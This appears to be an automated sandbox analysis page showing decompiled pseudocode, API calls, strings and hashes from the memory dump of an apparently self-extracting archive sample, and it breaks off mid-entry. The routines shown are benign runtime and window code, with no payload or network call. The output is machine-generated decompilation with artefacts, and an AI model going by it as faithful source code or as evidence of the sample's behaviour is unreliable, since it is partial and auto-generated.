0x0111ed92
0x0111ed76
0x0111ed50
0x00000000
0x0111edd9
0x0111edd9
0x0111ee0d
0x0111ee1f

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0111F3E2,00000000,00000000,00000000,00000000,00000000,0111487F), ref: 0111ECAF
__fassign.LIBCMT ref: 0111ED2A
__fassign.LIBCMT ref: 0111ED45
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0111ED6B
WriteFile.KERNEL32(?,00000000,00000000,0111F3E2,00000000,?,?,?,?,?,?,?,?,?,0111F3E2,00000000), ref: 0111ED8A
WriteFile.KERNEL32(?,00000000,00000001,0111F3E2,00000000,?,?,?,?,?,?,?,?,?,0111F3E2,00000000), ref: 0111EDC3

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: a717e48e03b5ea0ab48e71ae31afd2b7235ef26dae17f0fcc7a4b86c8aa54edd
Instruction ID: 42e35fc7a7c5a0f85d7ec1d113f2bcdbb0acd13c2753659232bf8f84a7910eef
Opcode Fuzzy Hash: a717e48e03b5ea0ab48e71ae31afd2b7235ef26dae17f0fcc7a4b86c8aa54edd
Instruction Fuzzy Hash: EB51C571A012099FDB29CFE8D885AEEFBF5FF09310F14452AE955E7245D7309940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01108DB2, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 125
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E01108DB2(void* __ecx, void* __edx) {
				void* _t20;
				short* _t24;
				void* _t28;
				signed int _t29;
				intOrPtr _t31;
				intOrPtr* _t38;
				void* _t44;
				void* _t60;
				intOrPtr* _t62;
				short* _t64;
				short* _t66;
				intOrPtr* _t70;
				long _t72;
				void* _t74;
				void* _t75;

				_t60 = __edx;
				_t45 = __ecx;
				_t44 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t20;
				}
				 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
				_t62 =  *((intOrPtr*)(_t74 + 0x1c));
				 *((char*)(_t74 + 0x13)) = E01108C5A(_t62);
				_push(0x200 + E011133F3(_t62) * 2);
				_t24 = E01113413(_t45);
				_t66 = _t24;
				if(_t66 == 0) {
					L16:
					return _t24;
				}
				E01115646(_t66, L"<html>");
				E01116FAD(_t66, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E01116FAD(_t66, L"utf-8\"></head>");
				_t75 = _t74 + 0x18;
				_t70 = _t62;
				_t28 = 0x20;
				if( *_t62 != _t28) {
					L4:
					_t29 = E0110172A(_t79, _t70, L"<html>", 6);
					asm("sbb al, al");
					_t31 =  ~_t29 + 1;
					 *((intOrPtr*)(_t75 + 0x18)) = _t31;
					if(_t31 != 0) {
						_t62 = _t70 + 0xc;
					}
					E01116FAD(_t66, _t62);
					if( *((char*)(_t75 + 0x20)) == 0) {
						E01116FAD(_t66, L"</html>");
					}
					_t82 =  *((char*)(_t75 + 0x13));
					if( *((char*)(_t75 + 0x13)) == 0) {
						_push(_t66);
						_t66 = E01108FF5(_t60, _t82);
					}
					_t72 = 9 + E011133F3(_t66) * 6;
					_t64 = GlobalAlloc(0x40, _t72);
					if(_t64 != 0) {
						_t13 = _t64 + 3; // 0x3
						if(WideCharToMultiByte(0xfde9, 0, _t66, 0xffffffff, _t13, _t72 - 3, 0, 0) == 0) {
							 *_t64 = 0;
						} else {
							 *_t64 = 0xbbef;
							 *((char*)(_t64 + 2)) = 0xbf;
						}
					}
					L0111340E(_t66);
					_t24 =  *0x1151178(_t64, 1, _t75 + 0x14);
					if(_t24 >= 0) {
						E01108C91( *((intOrPtr*)(_t44 + 0x10)));
						_t38 =  *((intOrPtr*)(_t75 + 0x10));
						 *0x1122260(_t38,  *((intOrPtr*)(_t75 + 0x10)));
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *_t38 + 8))))();
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_t70 = _t70 + 2;
					_t79 =  *_t70 - _t28;
				} while ( *_t70 == _t28);
				goto L4;
			}

0x01108db2
0x01108db2
0x01108db6
0x01108dbc
0x01108f03
0x01108f03
0x01108dc2
0x01108dc9
0x01108dd4
0x01108de4
0x01108de5
0x01108dea
0x01108df0
0x01108efd
0x00000000
0x01108efe
0x01108dfd
0x01108e08
0x01108e13
0x01108e18
0x01108e1b
0x01108e1f
0x01108e23
0x01108e2e
0x01108e36
0x01108e3d
0x01108e3f
0x01108e41
0x01108e45
0x01108e47
0x01108e47
0x01108e4c
0x01108e58
0x01108e60
0x01108e66
0x01108e67
0x01108e6c
0x01108e6e
0x01108e76
0x01108e76
0x01108e82
0x01108e8e
0x01108e92
0x01108e9c
0x01108eb1
0x01108ebe
0x01108eb3
0x01108eb3
0x01108eb8
0x01108eb8
0x01108eb1
0x01108ec2
0x01108ed0
0x01108ed9
0x01108ee4
0x01108ee9
0x01108ef5
0x01108efb
0x01108efb
0x00000000
0x00000000
0x00000000
0x00000000
0x01108e25
0x01108e25
0x01108e25
0x01108e28
0x01108e28
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 01108E88
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 01108EA9

Strings

</html>, xrefs: 01108E5A
<html>, xrefs: 01108DF7, 01108E30
utf-8"></head>, xrefs: 01108E0D
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 01108E02

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 3286310052-4209811716
Opcode ID: be0fe8ecab0f7706c901053b4ab09f677a467e0cb695625f820bb856b6634f57
Instruction ID: 435282cb738602e197ff795f455ef137b6efadd68fe40ff892ad5961ed435551
Opcode Fuzzy Hash: be0fe8ecab0f7706c901053b4ab09f677a467e0cb695625f820bb856b6634f57
Instruction Fuzzy Hash: AA313732D083237BE72EAB349C05FAFBB58EF55224F10042DF920961C1EBB4990583A6

Uniqueness

Uniqueness Score: -1.00%

Function 011095B5, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E011095B5(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, intOrPtr _a12, intOrPtr _a16, char _a20) {
				struct tagRECT _v16;
				intOrPtr _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				intOrPtr _t32;
				struct HWND__* _t43;
				intOrPtr* _t51;
				void* _t58;
				WCHAR* _t65;
				struct HWND__* _t66;

				_t66 = _a8;
				_t51 = __ecx;
				 *(__ecx + 8) = _t66;
				 *((char*)(__ecx + 0x26)) = _a20;
				ShowWindow(_t66, 0);
				E011092A4(_t51, _a4);
				if( *((intOrPtr*)(_t51 + 0x1c)) != 0) {
					L0111340E( *((intOrPtr*)(_t51 + 0x1c)));
				}
				if(_a12 != 0) {
					_push(_a12);
					_t32 = E01116F4C(_t51, _t58);
				} else {
					_t32 = 0;
				}
				 *((intOrPtr*)(_t51 + 0x1c)) = _t32;
				 *((intOrPtr*)(_t51 + 0x20)) = _a16;
				GetWindowRect(_t66,  &_v16);
				 *0x1151108(0,  *0x1151154(_t66,  &_v16, 2));
				if( *(_t51 + 4) != 0) {
					 *0x1151110( *(_t51 + 4));
				}
				_t39 = _v36;
				_t19 = _t39 + 1; // 0x1
				_t43 =  *0x1151118(0, L"RarHtmlClassName", 0, 0x40000000, _t19, _v36, _v28 - _v36 - 2, _v28 - _v36,  *0x1151154(_t66, 0,  *_t51, _t51, _t58));
				 *(_t51 + 4) = _t43;
				if( *((intOrPtr*)(_t51 + 0x10)) != 0) {
					__eflags = _t43;
					if(_t43 != 0) {
						ShowWindow(_t43, 5);
						return  *0x115110c( *(_t51 + 4));
					}
				} else {
					if(_t66 != 0 &&  *((intOrPtr*)(_t51 + 0x20)) == 0) {
						_t75 =  *((intOrPtr*)(_t51 + 0x1c));
						if( *((intOrPtr*)(_t51 + 0x1c)) != 0) {
							_t43 = E0110939C(_t51, _t75,  *((intOrPtr*)(_t51 + 0x1c)));
							_t65 = _t43;
							if(_t65 != 0) {
								ShowWindow(_t66, 5);
								SetWindowTextW(_t66, _t65);
								return L0111340E(_t65);
							}
						}
					}
				}
				return _t43;
			}

0x011095be
0x011095c2
0x011095c8
0x011095cb
0x011095ce
0x011095da
0x011095e3
0x011095e8
0x011095ed
0x011095f3
0x011095f9
0x011095fd
0x011095f5
0x011095f5
0x011095f5
0x01109603
0x0110960a
0x01109613
0x0110962a
0x01109634
0x01109639
0x01109639
0x0110963f
0x0110964d
0x0110967a
0x01109680
0x01109687
0x011096c1
0x011096c3
0x011096c8
0x00000000
0x011096d1
0x01109689
0x0110968b
0x01109692
0x01109695
0x0110969c
0x011096a1
0x011096a5
0x011096aa
0x011096b2
0x00000000
0x011096be
0x011096a5
0x01109695
0x0110968b
0x011096dd

APIs

ShowWindow.USER32(?,00000000), ref: 011095CE
GetWindowRect.USER32(?,00000000), ref: 01109613
ShowWindow.USER32(?,00000005,00000000), ref: 011096AA
SetWindowTextW.USER32(?,00000000), ref: 011096B2
ShowWindow.USER32(00000000,00000005), ref: 011096C8

Strings

RarHtmlClassName, xrefs: 01109674

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 5c53c377005f7e6c2bd0496e95a5d72cc07b87dea18fd33947b473d17b4059e7
Instruction ID: b38e06dd386d6f511bc81d647e4f3326a7b345679efcb831fc8b1e1b65541ce2
Opcode Fuzzy Hash: 5c53c377005f7e6c2bd0496e95a5d72cc07b87dea18fd33947b473d17b4059e7
Instruction Fuzzy Hash: 1231D171904304EFD72B9F749C88B6BBFA8EF08315F0085A9F9599618ACB75D880CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0111BE84, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0111BE84(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E0111BE48(_t45, 7);
					E0111BE48(_t45 + 0x1c, 7);
					E0111BE48(_t45 + 0x38, 0xc);
					E0111BE48(_t45 + 0x68, 0xc);
					E0111BE48(_t45 + 0x98, 2);
					E0111835E( *((intOrPtr*)(_t45 + 0xa0)));
					E0111835E( *((intOrPtr*)(_t45 + 0xa4)));
					E0111835E( *((intOrPtr*)(_t45 + 0xa8)));
					E0111BE48(_t45 + 0xb4, 7);
					E0111BE48(_t45 + 0xd0, 7);
					E0111BE48(_t45 + 0xec, 0xc);
					E0111BE48(_t45 + 0x11c, 0xc);
					E0111BE48(_t45 + 0x14c, 2);
					E0111835E( *((intOrPtr*)(_t45 + 0x154)));
					E0111835E( *((intOrPtr*)(_t45 + 0x158)));
					E0111835E( *((intOrPtr*)(_t45 + 0x15c)));
					return E0111835E( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x0111be8a
0x0111be8f
0x0111be98
0x0111bea3
0x0111beae
0x0111beb9
0x0111bec7
0x0111bed2
0x0111bedd
0x0111bee8
0x0111bef6
0x0111bf04
0x0111bf15
0x0111bf23
0x0111bf31
0x0111bf3c
0x0111bf47
0x0111bf52
0x00000000
0x0111bf62
0x0111bf67

APIs

Part of subcall function 0111BE48: _free.LIBCMT ref: 0111BE71

_free.LIBCMT ref: 0111BED2

Part of subcall function 0111835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0111BE76,?,00000000,?,00000000,?,0111BE9D,?,00000007,?,?,0111C29A,?), ref: 01118374
Part of subcall function 0111835E: GetLastError.KERNEL32(?,?,0111BE76,?,00000000,?,00000000,?,0111BE9D,?,00000007,?,?,0111C29A,?,?), ref: 01118386

_free.LIBCMT ref: 0111BEDD
_free.LIBCMT ref: 0111BEE8
_free.LIBCMT ref: 0111BF3C
_free.LIBCMT ref: 0111BF47
_free.LIBCMT ref: 0111BF52
_free.LIBCMT ref: 0111BF5D

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 356fc02368e4ecaa91237549490116c2f84ce8f596afca7e47be9645dca2cef3
Instruction ID: a844da3e79754034fa57caa59a32c934c586669556451a25cc8fe96bc934181c
Opcode Fuzzy Hash: 356fc02368e4ecaa91237549490116c2f84ce8f596afca7e47be9645dca2cef3
Instruction Fuzzy Hash: 19119372549B19BAD624BBB0CC05FCBF7AD6F14704F448C34A399A6064DB39F5059760

Uniqueness

Uniqueness Score: -1.00%

Function 01111F1A, Relevance: 10.6, APIs: 7, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E01111F1A(void* __ecx, void* __edx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t26;
				void* _t29;

				if( *0x112d680 != 0xffffffff) {
					_t26 = GetLastError();
					_t11 = E0111314B(__eflags,  *0x112d680);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E01113185(__eflags,  *0x112d680, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_t29 = E01118429(_t16, 1, 0x28);
								__eflags = _t29;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E01113185(__eflags,  *0x112d680, 0);
								} else {
									__eflags = E01113185(__eflags,  *0x112d680, _t29);
									if(__eflags != 0) {
										_t11 = _t29;
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E0111835E(_t29);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t26);
					return _t11;
				} else {
					return 0;
				}
			}

0x01111f21
0x01111f34
0x01111f3b
0x01111f3e
0x01111f41
0x01111f5a
0x01111f5a
0x01111f43
0x01111f43
0x01111f45
0x01111f4f
0x01111f55
0x01111f56
0x01111f58
0x01111f68
0x01111f6c
0x01111f6e
0x01111f82
0x01111f82
0x01111f8b
0x01111f70
0x01111f7e
0x01111f80
0x01111f94
0x01111f96
0x01111f96
0x00000000
0x00000000
0x00000000
0x01111f80
0x01111f99
0x00000000
0x00000000
0x00000000
0x01111f58
0x01111f45
0x01111fa1
0x01111fab
0x01111f23
0x01111f25
0x01111f25

APIs

GetLastError.KERNEL32(?,?,01111F11,0110F962), ref: 01111F28
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 01111F36
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 01111F4F
SetLastError.KERNEL32(00000000,?,01111F11,0110F962), ref: 01111FA1

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 648cc76c828fdbd46ad9be5ae4fb703f9ea87762c0569febbaec502198533b7c
Instruction ID: 4d411a62ec1812b953041e3d737589b60308d815aa4d9e3812fa5d33e787d5ba
Opcode Fuzzy Hash: 648cc76c828fdbd46ad9be5ae4fb703f9ea87762c0569febbaec502198533b7c
Instruction Fuzzy Hash: F001D43221C213BEAB3D2DB8FC8596AEA65EB61679731033DF634850DCEF1148699245

Uniqueness

Uniqueness Score: -1.00%

Function 0110DAF0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0110DAF0() {
				intOrPtr _t1;
				_Unknown_base(*)()* _t3;
				void* _t5;
				_Unknown_base(*)()* _t6;
				struct HINSTANCE__* _t14;

				_t1 =  *0x114fcc8;
				if(_t1 != 1) {
					if(_t1 == 0) {
						_t14 = GetModuleHandleW(L"KERNEL32.DLL");
						if(_t14 != 0) {
							_t3 = GetProcAddress(_t14, "AcquireSRWLockExclusive");
							if(_t3 == 0) {
								goto L5;
							} else {
								 *0x114fccc = _t3;
								_t6 = GetProcAddress(_t14, "ReleaseSRWLockExclusive");
								if(_t6 == 0) {
									goto L5;
								} else {
									 *0x114fcd0 = _t6;
								}
							}
						} else {
							L5:
							_t14 = 1;
						}
						asm("lock cmpxchg [edx], ecx");
						if(0 != 0 || _t14 != 1) {
							if(0 != 1) {
								_t5 = 1;
							} else {
								goto L12;
							}
						} else {
							L12:
							_t5 = 0;
						}
						return _t5;
					} else {
						return 1;
					}
				} else {
					return 0;
				}
			}

0x0110daf0
0x0110dafb
0x0110db03
0x0110db15
0x0110db19
0x0110db25
0x0110db2d
0x00000000
0x0110db2f
0x0110db35
0x0110db3a
0x0110db42
0x00000000
0x0110db44
0x0110db44
0x0110db44
0x0110db42
0x0110db1b
0x0110db1b
0x0110db1b
0x0110db1b
0x0110db52
0x0110db58
0x0110db60
0x0110db66
0x00000000
0x00000000
0x00000000
0x0110db62
0x0110db62
0x0110db62
0x0110db62
0x0110db6a
0x0110db05
0x0110db08
0x0110db08
0x0110dafd
0x0110db00
0x0110db00

Strings

KERNEL32.DLL, xrefs: 0110DB0A
AcquireSRWLockExclusive, xrefs: 0110DB1F
ReleaseSRWLockExclusive, xrefs: 0110DB2F

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: c4afcc5fb59f18daa7311ebd4f2e5562107f760f2b9a04550e8e230f7c107271
Instruction ID: 5709029ea80b725dd3c260ed725f583321afb5e46b66f65a726338748eccf437
Opcode Fuzzy Hash: c4afcc5fb59f18daa7311ebd4f2e5562107f760f2b9a04550e8e230f7c107271
Instruction Fuzzy Hash: 2901F439F41A735B9F3F5DFD7C80AAB2788AA07951310013AE911D33C0DBA5C082CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 01100C1E, Relevance: 9.1, APIs: 6, Instructions: 94
timeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E01100C1E(intOrPtr* __ecx, intOrPtr __edx, intOrPtr* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				struct _FILETIME _v28;
				struct _SYSTEMTIME _v44;
				struct _SYSTEMTIME _v60;
				struct _SYSTEMTIME _v76;
				intOrPtr _t47;
				intOrPtr _t61;
				intOrPtr* _t66;
				long _t72;
				intOrPtr _t73;
				intOrPtr* _t76;

				_t73 = __edx;
				_t66 = _a4;
				_t76 = __ecx;
				_v44.wYear =  *_t66;
				_t3 = _t66 + 4; // 0x8b550004
				_v44.wMonth =  *_t3;
				_t5 = _t66 + 8; // 0x48ec83ec
				_v44.wDay =  *_t5;
				_t7 = _t66 + 0xc; // 0x85d8b53
				_v44.wHour =  *_t7;
				_t9 = _t66 + 0x10; // 0xf18b5756
				_v44.wMinute =  *_t9;
				_t11 = _t66 + 0x14; // 0x66038b66
				_v44.wSecond =  *_t11;
				_v44.wMilliseconds = 0;
				_v44.wDayOfWeek = 0;
				if(SystemTimeToFileTime( &_v44,  &_v20) == 0) {
					 *_t76 = 0;
					 *((intOrPtr*)(_t76 + 4)) = 0;
				} else {
					if(E010FAC35() >= 0x600) {
						FileTimeToSystemTime( &_v20,  &_v60);
						__imp__TzSpecificLocalTimeToSystemTime(0,  &_v60,  &_v76);
						SystemTimeToFileTime( &_v76,  &_v12);
						SystemTimeToFileTime( &_v60,  &_v28);
						_t61 = _v12.dwHighDateTime + _v20.dwHighDateTime;
						asm("sbb eax, [ebp-0x14]");
						asm("sbb eax, edi");
						asm("adc eax, edi");
						_t72 = 0 - _v28.dwLowDateTime + _v12.dwLowDateTime + _v20.dwLowDateTime;
						asm("adc eax, edi");
					} else {
						LocalFileTimeToFileTime( &_v20,  &_v12);
						_t61 = _v12.dwHighDateTime;
						_t72 = _v12.dwLowDateTime;
					}
					 *_t76 = E0110E620(_t72, _t61, 0x64, 0);
					 *((intOrPtr*)(_t76 + 4)) = _t73;
				}
				_t36 = _t66 + 0x18; // 0x66d84589
				_t47 =  *_t36;
				 *_t76 =  *_t76 + _t47;
				asm("adc [esi+0x4], edi");
				return _t47;
			}

0x01100c1e
0x01100c25
0x01100c2a
0x01100c2f
0x01100c33
0x01100c37
0x01100c3b
0x01100c3f
0x01100c43
0x01100c47
0x01100c4b
0x01100c4f
0x01100c53
0x01100c57
0x01100c5d
0x01100c61
0x01100c75
0x01100d07
0x01100d09
0x01100c7b
0x01100c87
0x01100ca7
0x01100cb6
0x01100cc4
0x01100cd2
0x01100cdd
0x01100ce2
0x01100ce8
0x01100ced
0x01100cef
0x01100cf2
0x01100c89
0x01100c91
0x01100c97
0x01100c9a
0x01100c9a
0x01100cfe
0x01100d00
0x01100d00
0x01100d0c
0x01100d0c
0x01100d0f
0x01100d11
0x01100d1a

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 01100C6D

Part of subcall function 010FAC35: GetVersionExW.KERNEL32(?), ref: 010FAC5A

LocalFileTimeToFileTime.KERNEL32(?,01100C18), ref: 01100C91
FileTimeToSystemTime.KERNEL32(?,?), ref: 01100CA7
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 01100CB6
SystemTimeToFileTime.KERNEL32(?,01100C18), ref: 01100CC4
SystemTimeToFileTime.KERNEL32(?,?), ref: 01100CD2

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: cabf9e512f5acf7bc779939df93529b2eeec697285883dc1534ca284d81b237d
Instruction ID: 5a2ee37b51c9a005471ba0d4bc3db1e45c7ce23fcc44911a553a330833c4357e
Opcode Fuzzy Hash: cabf9e512f5acf7bc779939df93529b2eeec697285883dc1534ca284d81b237d
Instruction Fuzzy Hash: CB31087A90020AEBCB14DFE4D884DEFBBBCFF58300B04456AE915E3200E7349595CB69

Uniqueness

Uniqueness Score: -1.00%

Function 01109110, Relevance: 9.1, APIs: 6, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E01109110(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t17;
				signed int _t23;
				void* _t26;
				signed int _t32;
				signed int* _t36;

				_t36 = _a12;
				if(_t36 != 0) {
					_t34 = _a8;
					_t26 = 0x10;
					if(E0110FC4A(_a8, 0x112438c, _t26) == 0) {
						L13:
						_t32 = _a4;
						 *_t36 = _t32;
						L14:
						 *0x1122260(_t32);
						 *((intOrPtr*)( *((intOrPtr*)( *_t32 + 4))))();
						_t17 = 0;
						L16:
						return _t17;
					}
					if(E0110FC4A(_t34, 0x11243cc, _t26) != 0) {
						if(E0110FC4A(_t34, 0x11243ac, _t26) != 0) {
							if(E0110FC4A(_t34, 0x112437c, _t26) != 0) {
								if(E0110FC4A(_t34, 0x112441c, _t26) != 0) {
									if(E0110FC4A(_t34, 0x112436c, _t26) != 0) {
										 *_t36 =  *_t36 & 0x00000000;
										_t17 = 0x80004002;
										goto L16;
									}
									goto L13;
								}
								_t32 = _a4;
								_t23 = _t32 + 0x10;
								L11:
								asm("sbb ecx, ecx");
								 *_t36 =  ~_t32 & _t23;
								goto L14;
							}
							_t32 = _a4;
							_t23 = _t32 + 0xc;
							goto L11;
						}
						_t32 = _a4;
						_t23 = _t32 + 8;
						goto L11;
					}
					_t32 = _a4;
					_t23 = _t32 + 4;
					goto L11;
				}
				return 0x80004003;
			}

0x01109114
0x01109119
0x01109127
0x0110912c
0x0110913e
0x011091cd
0x011091cd
0x011091d0
0x011091d2
0x011091da
0x011091e0
0x011091e2
0x011091ee
0x00000000
0x011091ef
0x01109155
0x01109170
0x0110918b
0x011091a6
0x011091cb
0x011091e6
0x011091e9
0x00000000
0x011091e9
0x00000000
0x011091cb
0x011091a8
0x011091ab
0x011091ae
0x011091b2
0x011091b6
0x00000000
0x011091b6
0x0110918d
0x01109190
0x00000000
0x01109190
0x01109172
0x01109175
0x00000000
0x01109175
0x01109157
0x0110915a
0x00000000
0x0110915a
0x00000000

APIs

_memcmp.LIBVCRUNTIME ref: 01109134
_memcmp.LIBVCRUNTIME ref: 0110914B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 2322150a0f5fe9a49813ae09cf59bf71abc35551104f6d0fab4638738498f943
Instruction ID: 0a0a2417878bab95109e7ffaec6567863cc64b67b4b862c3b3847ff571d1ab22
Opcode Fuzzy Hash: 2322150a0f5fe9a49813ae09cf59bf71abc35551104f6d0fab4638738498f943
